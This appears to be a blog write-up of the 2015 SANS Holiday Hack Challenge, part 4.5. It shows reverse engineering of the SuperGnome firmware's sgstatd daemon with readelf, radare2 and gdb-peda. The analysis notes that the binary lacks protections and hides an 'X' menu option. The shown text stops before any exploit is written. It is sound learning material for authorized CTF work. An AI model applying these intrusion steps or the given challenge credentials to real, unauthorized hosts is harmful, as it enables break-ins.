Write up: 2015 Sans Holiday Hack Challenge – Part 4.5

Introduction

San Institute regularly creates a Christmas holiday hack challenge.

These challenges are a good way to try out new techniques or grow your knowledge in some new area.

As I get time to tackle the challenges I will write up my solution, frustrations and share any techniques that may come in handy for future challenges.

Challenge

List of SuperGnome IP addresses were obtained from challenge 4 and verified with Tom Hessman.

Part 4 of the challenge https://holidayhackchallenge.com/

7) Please describe the vulnerabilities you discovered in the Gnome firmware.

8) ONCE YOU GET APPROVAL OF GIVEN IN-SCOPE TARGET IP ADDRESSES FROM TOM HESSMAN IN THE DOSIS NEIGHBORHOOD, attempt to remotely exploit each of the SuperGnomes. Describe the technique you used to gain access to each SuperGnome’s gnome.conf file. YOU ARE AUTHORIZED TO ATTACK ONLY THE IP ADDRESSES THAT TOM HESSMAN IN THE DOSIS NEIGHBORHOOD EXPLICITLY ACKNOWLEDGES AS “IN SCOPE.” ATTACK NO OTHER SYSTEMS ASSOCIATED WITH THE HOLIDAY HACK CHALLENGE.

Please note: Although each SuperGnome is remotely exploitable based on flaws you can discover in the Gnome firmware, we DO NOT expect every participant to compromise every SuperGnome. Gain access to the ones you can. Although we will give special consideration to entries that successfully compromise all five SuperGnomes, we happily accept partial answers and point out that they too are eligible for any of the prizes.

Looks like we have to compromise the following hosts on the Internet

52.192.152.132
52.2.229.189
54.233.105.81
52.64.191.71
52.34.3.80

Vulnerabilities can be discovered by looking at the firmware dump.

Flag “Your goal is to retrieve the /gnome/www/files/gnome.conf file from each SuperGnome.”

54.233.105.81

Time to take a poke at the live host.

I’m going to fire up ‘Burp Suite Pro’ and configure my ‘Iceweasel’ to proxy through Burp using ‘foxyproxy’ plugin.

When hitting the server we see the Supergnome’s name which in this case is

SuperGnome 05

We are prompted for a username and password.

Using ‘admin’ and ‘SittingOnAShelf’ as the password gets us in.

After looking around the app and trying out some of the exploits from the previous super gnome challenges, I conclused this gnome challenge might need something different, actually I have a confession to disclose, I couldn’t help over hearing my friends talk about a super gnome with a potential buffer overflow vulnerability and the hack challenge mentions this “Tom VanNorman is a great resource for discussing software flaw discovery and exploitation”.

So the question is, where is this vulnerable software?

Let’s start by examining the firmware boot process for startup processes.

We’re looking at a ‘openwrt’ linux image

$ cat etc/device_info
 DEVICE_MANUFACTURER='OpenWrt'
 DEVICE_MANUFACTURER_URL='http://www.openwrt.org/'
 DEVICE_PRODUCT='Generic'
 DEVICE_REVISION='v0'

This site describes the boot process https://wiki.openwrt.org/doc/techref/process.boot

Startup scripts

$ ls etc/rc.d/S*
 etc/rc.d/S00sysfixtime etc/rc.d/S20network etc/rc.d/S97mongod etc/rc.d/S99monit
 etc/rc.d/S10boot etc/rc.d/S50cron etc/rc.d/S98gpio_switch etc/rc.d/S99sgdnsc2
 etc/rc.d/S10system etc/rc.d/S90autowlan etc/rc.d/S98nodejs etc/rc.d/Sumount
 etc/rc.d/S11sysctl etc/rc.d/S95done etc/rc.d/S98sgstatd
 etc/rc.d/S12log etc/rc.d/S96led etc/rc.d/S98sysntpd

After looking into each script, two scripts stand out

$ cat etc/rc.d/S98sgstatd
 #!/bin/sh /etc/rc.common
 # BUGID: 570523-1
 # OWNER: STUART
 # LOUISE: The sgstatd process fails to start on the Gnome hardware.
 # LOUISE: I rewrote the startup script, testing in DEV works fine. Closing ticket.
 # LOUISE changed status from OPEN to CLOSED
 # AUGGIE: Process still fails to startup, re-opening ticket.
 # AUGGIE changed status from CLOSED to OPEN
 # LOUISE: It works just find in DEV Auggie.
 # NEDFORD: Confirm process fails to startup, delegate to Stuart for resolution.
 # LOUISE: Status on this Stuart?
 # NEDFORD changed owner from LOUISE to STUART
 # NEDFORD: Can we get a status on this Stuart?
 # NEDFORD: Can we get a status on this Stuart?
 # LOUISE: Blocking on this ticket, we may have to ship without resolution.
 START=98
PROG=/usr/bin/sgstatd
start_service() {
 $PROG &
 }
 stop_service() {
 killall sgstatd
 }

and

$ cat etc/rc.d/S99sgdnsc2
 #!/bin/sh /etc/rc.common
 # OWNER: STUART
 # STUART: Startup SG DNS C&C process
 # AUGGIE: Function verified, ready for production
 START=99
PROG=/usr/bin/sgdnsc2
start_service() {
 $PROG &
 }
 stop_service() {
 killall sgdnsc2
 }

I guess sg in the script name stands for super gnome.

So the two binaries in question are

PROG=/usr/bin/sgdnsc2

PROG=/usr/bin/sgstatd

$ ls -la usr/bin/sg*
 -rwxr-xr-x 1 remote remote 9028 Dec 16 16:50 usr/bin/sgdnsc2
 -rwxr-xr-x 1 remote remote 13881 Dec 16 16:50 usr/bin/sgstatd
$ file usr/bin/sgdnsc2
 usr/bin/sgdnsc2: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-musl-armhf.so.1, stripped
 kali:~/projects/sans/firmware$ file usr/bin/sgstatd
 usr/bin/sgstatd: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.26, BuildID[sha1]=72df753907e54335d83b9e1c3ab00ae402ad812f, not stripped

sgdnsc2 is an ARM binary and sgstatd is intel 80386, hmmm.

First question is, what is an x86 binary doing on an ARM firmware? But hey this is a CTF challenge.

Just to recap, we are looking for clues in the firmware to help find a vulnerability on SuperGnome 5.

To dig up more clues about the sgstatd binary we should perform some static and dynamic analysis.

Binary Static Analysis

Let’s confirm which architecture the two binaries were compiled to run on using readelf

$ readelf usr/bin/sgdnsc2 -e
 ELF Header:
 Magic: 7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00
 Class: ELF32
 Data: 2's complement, little endian
 Version: 1 (current)
 OS/ABI: UNIX - System V
 ABI Version: 0
 Type: EXEC (Executable file)
 Machine: ARM
 Version: 0x1
 Entry point address: 0x10e14
 Start of program headers: 52 (bytes into file)
 Start of section headers: 8148 (bytes into file)
 Flags: 0x5000402, has entry point, Version5 EABI, hard-float ABI
 Size of this header: 52 (bytes)
 Size of program headers: 32 (bytes)
 Number of program headers: 6
 Size of section headers: 40 (bytes)
 Number of section headers: 22
 Section header string table index: 21
...
$ readelf usr/bin/sgstatd -e
 ELF Header:
 Magic: 7f 45 4c 46 01 01 01 00 00 00 00 00 00 00 00 00
 Class: ELF32
 Data: 2's complement, little endian
 Version: 1 (current)
 OS/ABI: UNIX - System V
 ABI Version: 0
 Type: EXEC (Executable file)
 Machine: Intel 80386
 Version: 0x1
 Entry point address: 0x8048bd0
 Start of program headers: 52 (bytes into file)
 Start of section headers: 9220 (bytes into file)
 Flags: 0x0
 Size of this header: 52 (bytes)
 Size of program headers: 32 (bytes)
 Number of program headers: 8
 Size of section headers: 40 (bytes)
 Number of section headers: 31
 Section header string table index: 28
...

So it appears that sgstatd is an x86 32bit binary. This is useful for when it comes to dynamic analysis, i.e. actually trying to run and debug the program.

At this point if I had to choose between these two binaries, as to which to spend my time bug hunting I would choose the x86 because ctf competitions tend to lead you down a path of lease resistance.

Lets take a look at the global symbols table which contains symbolic names of local and global symbols.

Three things to potentially look for, network related system calls, known vulnerable c functions and any names that indicate the binary’s purpose.

$ readelf usr/bin/sgstatd -s
Symbol table '.dynsym' contains 44 entries:
 Num: Value Size Type Bind Vis Ndx Name
 0: 00000000 0 NOTYPE LOCAL DEFAULT UND
 1: 00000000 0 FUNC GLOBAL DEFAULT UND setsockopt@GLIBC_2.0 (2)
...
Symbol table '.symtab' contains 122 entries:
 Num: Value Size Type Bind Vis Ndx Name
 0: 00000000 0 NOTYPE LOCAL DEFAULT UND
...
 28: 00000000 0 FILE LOCAL DEFAULT ABS crtstuff.c
 29: 0804b114 0 OBJECT LOCAL DEFAULT 21 __JCR_LIST__
 30: 08048c00 0 FUNC LOCAL DEFAULT 14 deregister_tm_clones
 31: 08048c30 0 FUNC LOCAL DEFAULT 14 register_tm_clones
 32: 08048c70 0 FUNC LOCAL DEFAULT 14 __do_global_dtors_aux
 33: 0804b304 1 OBJECT LOCAL DEFAULT 26 completed.5730
 34: 0804b110 0 OBJECT LOCAL DEFAULT 20 __do_global_dtors_aux_fin
 35: 08048c90 0 FUNC LOCAL DEFAULT 14 frame_dummy
 36: 0804b10c 0 OBJECT LOCAL DEFAULT 19 __frame_dummy_init_array_
 37: 00000000 0 FILE LOCAL DEFAULT ABS sgstatd.c
 38: 00000000 0 FILE LOCAL DEFAULT ABS sgnet.c
 39: 08049d84 4 OBJECT LOCAL DEFAULT 16 domain
 40: 00000000 0 FILE LOCAL DEFAULT ABS crtstuff.c
 41: 0804a108 0 OBJECT LOCAL DEFAULT 18 __FRAME_END__
 42: 0804b114 0 OBJECT LOCAL DEFAULT 21 __JCR_END__
 43: 0804b110 0 NOTYPE LOCAL DEFAULT 19 __init_array_end
 44: 0804b118 0 OBJECT LOCAL DEFAULT 22 _DYNAMIC
 45: 0804b10c 0 NOTYPE LOCAL DEFAULT 19 __init_array_start
 46: 0804b20c 0 OBJECT LOCAL DEFAULT 24 _GLOBAL_OFFSET_TABLE_
 47: 00000000 0 FUNC GLOBAL DEFAULT UND setsockopt@@GLIBC_2.0
 48: 08049b20 5 FUNC GLOBAL DEFAULT 14 __libc_csu_fini
 49: 00000000 0 FUNC GLOBAL DEFAULT UND getpwnam@@GLIBC_2.0
 50: 00000000 0 FUNC GLOBAL DEFAULT UND dup2@@GLIBC_2.0
 51: 00000000 0 FUNC GLOBAL DEFAULT UND strcmp@@GLIBC_2.0
 52: 08049b8a 0 FUNC GLOBAL HIDDEN 14 __i686.get_pc_thunk.bx
 53: 00000000 0 FUNC GLOBAL DEFAULT UND read@@GLIBC_2.0
 54: 00000000 0 NOTYPE WEAK DEFAULT UND _ITM_deregisterTMCloneTab
 55: 0804b2b8 0 NOTYPE WEAK DEFAULT 25 data_start
 56: 00000000 0 FUNC GLOBAL DEFAULT UND fflush@@GLIBC_2.0
 57: 00000000 0 FUNC GLOBAL DEFAULT UND free@@GLIBC_2.0
 58: 00000000 0 FUNC GLOBAL DEFAULT UND fgets@@GLIBC_2.0
 59: 0804b2c4 0 NOTYPE GLOBAL DEFAULT ABS _edata
 60: 00000000 0 FUNC GLOBAL DEFAULT UND time@@GLIBC_2.0
 61: 00000000 0 FUNC GLOBAL DEFAULT UND signal@@GLIBC_2.0
 62: 00000000 0 FUNC GLOBAL DEFAULT UND chdir@@GLIBC_2.0
 63: 08049b90 0 FUNC GLOBAL DEFAULT 15 _fini
 64: 00000000 0 FUNC GLOBAL DEFAULT UND alarm@@GLIBC_2.0
 65: 080499ff 41 FUNC GLOBAL DEFAULT 14 sgnet_writes
 66: 00000000 0 FUNC GLOBAL DEFAULT UND popen@@GLIBC_2.1
 67: 0804990b 119 FUNC GLOBAL DEFAULT 14 sgnet_readn
 68: 00000000 0 FUNC GLOBAL DEFAULT UND htons@@GLIBC_2.0
 69: 00000000 0 FUNC GLOBAL DEFAULT UND setgroups@@GLIBC_2.0
 70: 00000000 0 FUNC GLOBAL DEFAULT UND accept@@GLIBC_2.0
 71: 00000000 0 FUNC GLOBAL DEFAULT UND usleep@@GLIBC_2.0
 72: 08049420 675 FUNC GLOBAL DEFAULT 14 sgnet_listen
 73: 08048cbc 1667 FUNC GLOBAL DEFAULT 14 child_main
 74: 0804b2b8 0 NOTYPE GLOBAL DEFAULT 25 __data_start
 75: 00000000 0 FUNC GLOBAL DEFAULT UND setgid@@GLIBC_2.0
 76: 00000000 0 FUNC GLOBAL DEFAULT UND puts@@GLIBC_2.0
 77: 00000000 0 FUNC GLOBAL DEFAULT UND getdtablesize@@GLIBC_2.0
 78: 00000000 0 NOTYPE WEAK DEFAULT UND __gmon_start__
 79: 00000000 0 FUNC GLOBAL DEFAULT UND exit@@GLIBC_2.0
 80: 0804b2bc 0 OBJECT GLOBAL HIDDEN 25 __dso_handle
 81: 00000000 0 FUNC GLOBAL DEFAULT UND open@@GLIBC_2.0
 82: 08049bac 4 OBJECT GLOBAL DEFAULT 16 _IO_stdin_used
 83: 0804984c 191 FUNC GLOBAL DEFAULT 14 sgnet_randfd
 84: 00000000 0 FUNC GLOBAL DEFAULT UND srand@@GLIBC_2.0
 85: 00000000 0 FUNC GLOBAL DEFAULT UND strlen@@GLIBC_2.0
 86: 00000000 0 FUNC GLOBAL DEFAULT UND __libc_start_main@@GLIBC_
 87: 00000000 0 FUNC GLOBAL DEFAULT UND write@@GLIBC_2.0
 88: 00000000 0 FUNC GLOBAL DEFAULT UND vasprintf@@GLIBC_2.0
 89: 08049b30 90 FUNC GLOBAL DEFAULT 14 __libc_csu_init
 90: 0804b2e0 4 OBJECT GLOBAL DEFAULT 26 stdin@@GLIBC_2.0
 91: 0804935d 104 FUNC GLOBAL DEFAULT 14 sgstatd
 92: 08049982 125 FUNC GLOBAL DEFAULT 14 sgnet_readsn
 93: 00000000 0 FUNC GLOBAL DEFAULT UND bind@@GLIBC_2.0
 94: 0804933f 30 FUNC GLOBAL DEFAULT 14 sgnet_exit
 95: 00000000 0 FUNC GLOBAL DEFAULT UND getifaddrs@@GLIBC_2.3
 96: 0804b308 0 NOTYPE GLOBAL DEFAULT ABS _end
 97: 08048bd0 0 FUNC GLOBAL DEFAULT 14 _start
 98: 08049ba8 4 OBJECT GLOBAL DEFAULT 16 _fp_hw
 99: 00000000 0 FUNC GLOBAL DEFAULT UND rand@@GLIBC_2.0
 100: 08049a28 121 FUNC GLOBAL DEFAULT 14 sgnet_writen
 101: 08049aa1 115 FUNC GLOBAL DEFAULT 14 sgnet_writef
 102: 0804b300 4 OBJECT GLOBAL DEFAULT 26 stdout@@GLIBC_2.0
 103: 0804b2c4 0 NOTYPE GLOBAL DEFAULT ABS __bss_start
 104: 080493c5 88 FUNC GLOBAL DEFAULT 14 main
 105: 00000000 0 FUNC GLOBAL DEFAULT UND freeifaddrs@@GLIBC_2.3
 106: 00000000 0 FUNC GLOBAL DEFAULT UND fork@@GLIBC_2.0
 107: 00000000 0 FUNC GLOBAL DEFAULT UND errx@@GLIBC_2.0
 108: 00000000 0 FUNC GLOBAL DEFAULT UND listen@@GLIBC_2.0
 109: 00000000 0 FUNC GLOBAL DEFAULT UND setuid@@GLIBC_2.0
 110: 00000000 0 NOTYPE WEAK DEFAULT UND _Jv_RegisterClasses
 111: 08049780 204 FUNC GLOBAL DEFAULT 14 sgnet_privdrop
 112: 080496c3 189 FUNC GLOBAL DEFAULT 14 sgnet_server
 113: 0804b2c0 4 OBJECT GLOBAL DEFAULT 25 USER
 114: 00000000 0 FUNC GLOBAL DEFAULT UND socket@@GLIBC_2.0
 115: 0804b2c4 0 OBJECT GLOBAL HIDDEN 25 __TMC_END__
 116: 00000000 0 NOTYPE WEAK DEFAULT UND _ITM_registerTMCloneTable
 117: 08049bb8 2 OBJECT GLOBAL DEFAULT 16 PORT
 118: 00000000 0 FUNC GLOBAL DEFAULT UND shutdown@@GLIBC_2.0
 119: 08048918 0 FUNC GLOBAL DEFAULT 12 _init
 120: 00000000 0 FUNC GLOBAL DEFAULT UND recv@@GLIBC_2.0
 121: 00000000 0 FUNC GLOBAL DEFAULT UND close@@GLIBC_2.0

Table entry 108 indicates listen system call is used, meaning we could be looking at a network daemon. Let’s see if we can find the network socket type and port number used.

Let’s fire up a copy of radare2 to help visualize the code code flow. A copy of radare2 can be obtained from https://github.com/radare/radare2

cheatsheet to get started https://github.com/pwntester/cheatsheets/blob/master/radare2.md

$ sudo radare2 -d firmware/usr/bin/sgstat
Process with PID 10283 started...
Attached debugger to pid = 10283, tid = 10283
Debugging pid = 10283, tid = 10283 now
Using BADDR 0x8048000
Assuming filepath firmware/usr/bin/sgstatd
bits 32
Attached debugger to pid = 10283, tid = 10283
 -- Remember that word: C H A I R

Analyze all

[0xf777ad00]> aa

i~pic : check if the binary has position-independent-code
i~nx : check if the binary has non-executable stack
i~canary : check if the binary has canaries

[0xf76ebd00]> i~pic
 pic false
 [0xf76ebd00]> i~nx
 nx false
 [0xf76ebd00]> i~canary
 canary false

Look for strings

[0xf777ad00]> izz
...
vaddr=0x08049bb0 paddr=0x00001bb0 ordinal=061 sz=7 len=6 section=.rodata type=ascii string=nobody
vaddr=0x08049bbc paddr=0x00001bbc ordinal=062 sz=50 len=49 section=.rodata type=ascii string=\nWelcome to the SuperGnome Server Status Center!\n
vaddr=0x08049bf0 paddr=0x00001bf0 ordinal=063 sz=45 len=44 section=.rodata type=ascii string=Please enter one of the following options:\n\n
vaddr=0x08049c1d paddr=0x00001c1d ordinal=064 sz=29 len=28 section=.rodata type=ascii string=1 - Analyze hard disk usage\n
vaddr=0x08049c3a paddr=0x00001c3a ordinal=065 sz=27 len=26 section=.rodata type=ascii string=2 - List open TCP sockets\n
vaddr=0x08049c55 paddr=0x00001c55 ordinal=066 sz=27 len=26 section=.rodata type=ascii string=3 - Check logged in users\n
vaddr=0x08049c72 paddr=0x00001c72 ordinal=067 sz=8 len=7 section=.rodata type=ascii string=/bin/df
vaddr=0x08049c7a paddr=0x00001c7a ordinal=068 sz=22 len=21 section=.rodata type=ascii string=Failed to run command
vaddr=0x08049c90 paddr=0x00001c90 ordinal=069 sz=18 len=17 section=.rodata type=ascii string=/bin/netstat -tan
vaddr=0x08049ca2 paddr=0x00001ca2 ordinal=070 sz=13 len=12 section=.rodata type=ascii string=/usr/bin/who
vaddr=0x08049cb3 paddr=0x00001cb3 ordinal=071 sz=50 len=24 section=.rodata type=wide string=iden comatਡ\n䔀瑮牥愠猠潨瑲洠獥慳敧琠
vaddr=0x08049ce5 paddr=0x00001ce5 ordinal=072 sz=50 len=49 section=.rodata type=ascii string=share with GnomeNet (please allow 10 seconds) => 
vaddr=0x08049d17 paddr=0x00001d17 ordinal=073 sz=22 len=21 section=.rodata type=ascii string=\nRequest Completed!\n\n
vaddr=0x08049d2d paddr=0x00001d2d ordinal=074 sz=17 len=16 section=.rodata type=ascii string=Invalid choice!\n
vaddr=0x08049d3e paddr=0x00001d3e ordinal=075 sz=21 len=20 section=.rodata type=ascii string=Canary not repaired.
vaddr=0x08049d53 paddr=0x00001d53 ordinal=076 sz=30 len=29 section=.rodata type=ascii string=\nThis function is protected!\n
vaddr=0x08049d71 paddr=0x00001d71 ordinal=077 sz=18 len=17 section=.rodata type=ascii string=Server started...
vaddr=0x08049d88 paddr=0x00001d88 ordinal=078 sz=30 len=29 section=.rodata type=ascii string=Unable to set SIGCHLD handler
vaddr=0x08049da6 paddr=0x00001da6 ordinal=079 sz=24 len=23 ...

Print entry point

[0xf7731d00]> ie
[Entrypoints]
vaddr=0x08048bd0 paddr=0x00000bd0 baddr=0x08048000 laddr=0x00000000
1 entrypoints

Set a break point at the entry point

[0x08048bd0]> db 0x08048bd0

debug continue

[0x08048bd0]> dc
hit breakpoint at: 8048bd0
Debugging pid = 10321, tid = 1 now
Change radare2 to visual mode
[0x08048bd0]> V
Press keyboard 'p' to select preferred view.
pp
[0x08048bd0 180 firmware/usr/bin/sgstatd]> f tmp;sr S.. @ entry0 
0xffd6f860 0x00000001 0xffd708a2 0x00000000 0xffd708bb ................ 
0xffd6f870 0xffd708c6 0xffd70e5f 0xffd70ebb 0xffd70ecc ...._........... 
0xffd6f880 0xffd70ed7 0xffd70f10 0xffd70f20 0xffd70f34 ........ ...4... 
0xffd6f890 0xffd70f41 0xffd70f4b 0xffd70f59 0xffd70f64 A...K...Y...d... 
 eip 0x08048bd0 oeax 0xffffffff eax 0x0000001c ebx 0xf7751000 
 ecx 0xf7751c1c edx 0xf773fc90 esp 0xffd6f860 ebp 0x00000000 
 esi 0xffd6f86c edi 0x08048bd0 eflags = 1PSI 
 ;-- entry0: 
 ;-- _start: 
 ;-- section_end..plt: 
 ;-- section..text: 
 ;-- eip: 
 ;-- edi: 
 0x08048bd0 b 31ed xor ebp, ebp ; [13] va=0x08048bd0 pa=0x00000bd0 sz=4032 vsz=4032 
 0x08048bd2 5e pop esi 
 0x08048bd3 89e1 mov ecx, esp 
 0x08048bd5 83e4f0 and esp, 0xfffffff0 
 0x08048bd8 50 push eax 
 0x08048bd9 54 push esp 0x08048bda 52 push edx 0x08048bdb 68209b0408 push sym.__libc_csu_fini ; "U..]..t&" @ 0x8049b20 0x08048be0 68309b0408 push sym.__libc_csu_init ; "U..WVS.O" @ 0x8049b30 0x08048be5 51 push ecx 0x08048be6 56 push esi 0x08048be7 68c5930408 push sym.main ; "U....... ..$q...................D$." @ 0x80493c5 0x08048bec e8effeffff call sym.imp.__libc_start_main ;[1]

Radare lets you reference functions and variables from the binary using prefixes like sym. or @obj

Print hex bytes referenced by symbol name in base10

[0x080493c5]> pf d @obj.PORT
 0x08049bb8 = 4242

pf = print format

d = decimal

@obj.PORT = symbol name

 

Could be a tcp daemon port number.

Let’s try to connect to Supergnome 5

$ nc -vvvv 54.233.105.81 4242
ec2-54-233-105-81.sa-east-1.compute.amazonaws.com [54.233.105.81] 4242 (?) open

Welcome to the SuperGnome Server Status Center!
Please enter one of the following options:

1 - Analyze hard disk usage
2 - List open TCP sockets
3 - Check logged in users
 sent 0, rcvd 177

Well what do we have here?

At this point I decided that IDA Pro would help me better with visualizing the code flow because it’s pretty good at its job.

Very quickly I was able to see the code flow and potential break points for dynamic analysis.

  1. Binary starts by printing a startup message to stdout
  2. sgnet_listen creates socket on TCP 4242
  3. sgnet_server starts up ready to accept connections from clients
    1. Variable named USER contains ‘nobody’
    2. tcp client accepted
    3. sgnet_randfd creates new random file descriptor for client stdout
    4. child process is forked
    5. privilege drop process initiates sgnet_privdrop
    6. child_main() is called
  4. child_main is interactive menu
    1. disk free command is issued
    2. list open tcp sockets using netstat
    3. use who for logged in users
    4. Ida Pro shows that if entered key equals 58h ‘X’ something interesting gets printed

Note: to help understand what and how some of the system calls work, use the linux manual command, e.g.

$ man 2 setuid

Dynamic analysis

Before running the binary on a live system we should take a precautionary step to run it in a virtual machine sandbox and if possible disable network connectivity. Don’t forget to take a snapshot of your vm guest too.

When I initially tried to run the binary I had a few error messages appear. To get the binary to work these are some of the steps you need to take

  1. create a directory path /var/run/sgstatd
  2. create a directory path and file /gnome/www/files/gnome.conf, place some text within the file.
  3. Ensure you have the following user account and group present on your system, ‘nobody:nogroup’
  4. Ensure the user ‘nobody’ has at least read permission on the gnome.conf file
  5. More details on the permission levels can be obtained from the sgnet_privdrop function

Let’s startup the binary and see if it works as intended.

Binary will be started with ‘root’ privileges

 

# /projects/sans/firmware/usr/bin/sgstatd
Server started...

Now connect to the daemon on tcp port 4242 and select option 3

$ nc -vvvv localhost 4242
localhost [127.0.0.1] 4242 (?) open
Welcome to the SuperGnome Server Status Center!
Please enter one of the following options:
1 - Analyze hard disk usage
2 - List open TCP sockets
3 - Check logged in users
3
remote :0 2015-12-31 12:20 (:0)
remote pts/0 2015-12-31 12:21 (:0)
remote pts/1 2015-12-31 12:22 (:0)
remote pts/2 2015-12-31 12:23 (:0)
remote pts/3 2016-01-01 02:17 (:0)
remote pts/4 2016-01-01 14:14 (:0)
 sent 2, rcvd 441

Excellent.

From the initial static analysis it would appear that a good point to trace the code would be the child_main() function since the menu option selection takes place there.

I’ll use radare2 to set a break point and begin debugging

# radare2 -d firmware/usr/bin/sgstatd -p sans_projectfile
Process with PID 11685 started...
Attached debugger to pid = 11685, tid = 11685
Debugging pid = 11685, tid = 11685 now
Using BADDR 0x8048000
Assuming filepath firmware/usr/bin/sgstatd
bits 32
Attached debugger to pid = 11685, tid = 11685
 -- I nodejs so hard my exams.What a nodejs!
[0xf777ad00]> db sym.<TAB KEY PRESS>
sym.sgnet_readn sym.sgnet_listen sym.child_main 
sym.sgnet_randfd sym.__libc_csu_init sym.sgstatd 
sym.sgnet_readsn sym.sgnet_exit sym._start 
sym.sgnet_writen sym.sgnet_writef sym.main 
sym.sgnet_privdrop sym.sgnet_server sym._init 
sym.imp.setsockopt sym.imp.getpwnam sym.imp.dup2 
...

set the break point on child_main

[0xf777ad00]> db sym.child_main

continue debugging

[0xf777ad00]> dc
Server started...

At this point when I tried to connect to the daemon with netcat, the debugger wouldn’t break as expected. After further investigation and chatting with the folks at #radare2 irc channel on freenode they told me to set radare2 to follow child processes when the binary forks. This information wasn’t easy for me to find on my own. To do something similar in Gnu gdb you use

gdb$ set follow-fork-mode child

in radare you use the ‘e’ command to set the dbg.forks variable

# radare2 -d firmware/usr/bin/sgstatd -p sans_projectfile
Process with PID 12650 started...
Attached debugger to pid = 12650, tid = 12650
Debugging pid = 12650, tid = 12650 now
Using BADDR 0x8048000
Assuming filepath firmware/usr/bin/sgstatd
bits 32
Attached debugger to pid = 12650, tid = 12650
 -- You can 'copy/paste' bytes using the cursor in visual mode 'c' and using the 'y' and 'Y' keys
[0xf7752d00]> db sym.child_main 
[0xf7752d00]> e dbg.forks =true
Attached debugger to pid = 12650, tid = 12650
[0xf7752d00]> dc
Server started...

Client now connects to server

$ nc -vvvv localhost 4242
localhost [127.0.0.1] 4242 (?) open

binary parent process forks and radare gives control back to us

Debugging pid = 12650, tid = 1 now

We now list processes in radare and attach to child process

[0xf7751c00]> dp
Selected: 12650 1
 * 12650 s (current)
 - 12649 s (ppid)
 - 12654 s firmware/usr/bin/sgstatd
[0xf7751c00]> dp=12654
Debugging pid = 12654, tid = 1 now

Continue debugging

[0xf7751c00]> dc
hit breakpoint at: 8048cbc

and 0x8048cdc should be the location of the child_main

Let’s check radare visual mode

[0x08048cbc]> V
<press p>
<press p>
[0x08048cbc 320 firmware/usr/bin/sgstatd]> f tmp;sr S.. @ sym.child_main 
0xffdf09ec 0x08049715 0x00000004 0x00000000 0x00000000 .............. 
0xffdf09fa 0xb9400000 0x0a48f757 0x6020ffdf 0x0a74f776 ..@.W.H... `v. 
0xffdf0a08 0xffdf0a74 0x0000acf7 0x00000000 0x00000000 t............. 
0xffdf0a16 0x0a480000 0x941dffdf 0x00030804 0x9bb00000 ..H........... 
0xffdf0a24 0x08049bb0 0x08048cbc ........ 
 eip 0x08048cbc oeax 0xffffffff 
 eax 0x08048cbc ebx 0xf7722000 
 ecx 0x00000000 edx 0xf7722000 
 esp 0xffdf09ec ebp 0xffdf0a18 
 esi 0x00000000 edi 0x00000000 
 eflags = C1PAI 
 ;-- child_main: 
 ;-- eip: 
 ;-- eax: 
 0x08048cbc b 55 push ebp 
 0x08048cbd 89e5 mov ebp, esp 
 0x08048cbf 81ec78040000 sub esp, 0x478 
 0x08048cc5 c745f0000000. mov dword [ebp - 0x10], 0 
 0x08048ccc 8b45f0 mov eax, dword [ebp - 0x10] 
 0x08048ccf 83f802 cmp eax, 2 ; 2 
 ,=< 0x08048cd2 0f8460060000 je 0x8049338 ;[1] 
 | 0x08048cd8 c74424083300. mov dword [esp + 8], 0x33 ; [0x33:4]=-1 ; '3' ; 51 
 | 0x08048ce0 c7442404bc9b. mov dword [esp + 4], str._nWelcome_to_the_SuperGnome_Server_Status_Center__n ; [0x8049bbc:4]=0x6c65570a 
 | 0x08048ce8 8b4508 mov eax, dword [ebp + 8] ; [0x8:4]=-1 ; 8 
 | 0x08048ceb 890424 mov dword [esp], eax 
 | 0x08048cee e8fdfdffff call sym.imp.write ;[2]

to step over while in visual mode press f8 key.

Unfortunately I had some technical issues with radare and switched debug environments to Gnu gdb and PEDA – Python Exploit Development Assistance for GDB.

Make sure you have peda setup correctly by entering gdb and seeing the left prompt saying gdb-peda$

So we start sgstatd with gdb, set the break point to child_main, connect with netcat and send the ‘X’ character and start following the code flow to our next point of interest.

# gdb --quiet /home/remote/projects/sans/firmware/usr/bin/sgstatd
Reading symbols from /home/remote/projects/sans/firmware/usr/bin/sgstatd...(no debugging symbols found)...done.
gdb-peda$ b child_main 
Breakpoint 1 at 0x8048cc5
gdb-peda$ r
Starting program: /home/remote/projects/sans/firmware/usr/bin/sgstatd 
Server started...
$ perl '-e print "X"'| nc -vvv localhost 4242
localhost [127.0.0.1] 4242 (?) open

gdb then breaks

Starting program: /home/remote/projects/sans/firmware/usr/bin/sgstatd 
Server started...
[New process 12825]
[Switching to process 12825]
[----------------------------------registers-----------------------------------]
EAX: 0x8048cbc (<child_main>: push ebp)
EBX: 0xf7fad000 --> 0x1a5da8 
ECX: 0x0 
EDX: 0xf7fad000 --> 0x1a5da8 
ESI: 0x0 
EDI: 0x0 
EBP: 0xffffd388 --> 0xffffd3b8 --> 0xffffd3e8 --> 0x0 
ESP: 0xffffcf10 --> 0xffffd19c --> 0xf7ffdc10 --> 0xf7ffdc1c --> 0x0 
EIP: 0x8048cc5 (<child_main+9>: mov DWORD PTR [ebp-0x10],0x0)
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
 0x8048cbc <child_main>: push ebp
 0x8048cbd <child_main+1>: mov ebp,esp
 0x8048cbf <child_main+3>: sub esp,0x478
=> 0x8048cc5 <child_main+9>: mov DWORD PTR [ebp-0x10],0x0
 0x8048ccc <child_main+16>: mov eax,DWORD PTR [ebp-0x10]
 0x8048ccf <child_main+19>: cmp eax,0x2
 0x8048cd2 <child_main+22>: je 0x8049338 <child_main+1660>
 0x8048cd8 <child_main+28>: mov DWORD PTR [esp+0x8],0x33
[------------------------------------stack-------------------------------------]
0000| 0xffffcf10 --> 0xffffd19c --> 0xf7ffdc10 --> 0xf7ffdc1c --> 0x0 
0004| 0xffffcf14 --> 0xf7dd3b3c --> 0x675f5f00 ('')
0008| 0xffffcf18 --> 0x0 
0012| 0xffffcf1c --> 0x0 
0016| 0xffffcf20 --> 0xf7fce234 --> 0xe63e1fee 
0020| 0xffffcf24 --> 0x0 
0024| 0xffffcf28 --> 0x804c4d4 --> 0x804ca40 --> 0xf7fce000 --> 0x464c457f 
0028| 0xffffcf2c --> 0xf7ffd000 --> 0x1ff34 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, 0x08048cc5 in child_main ()

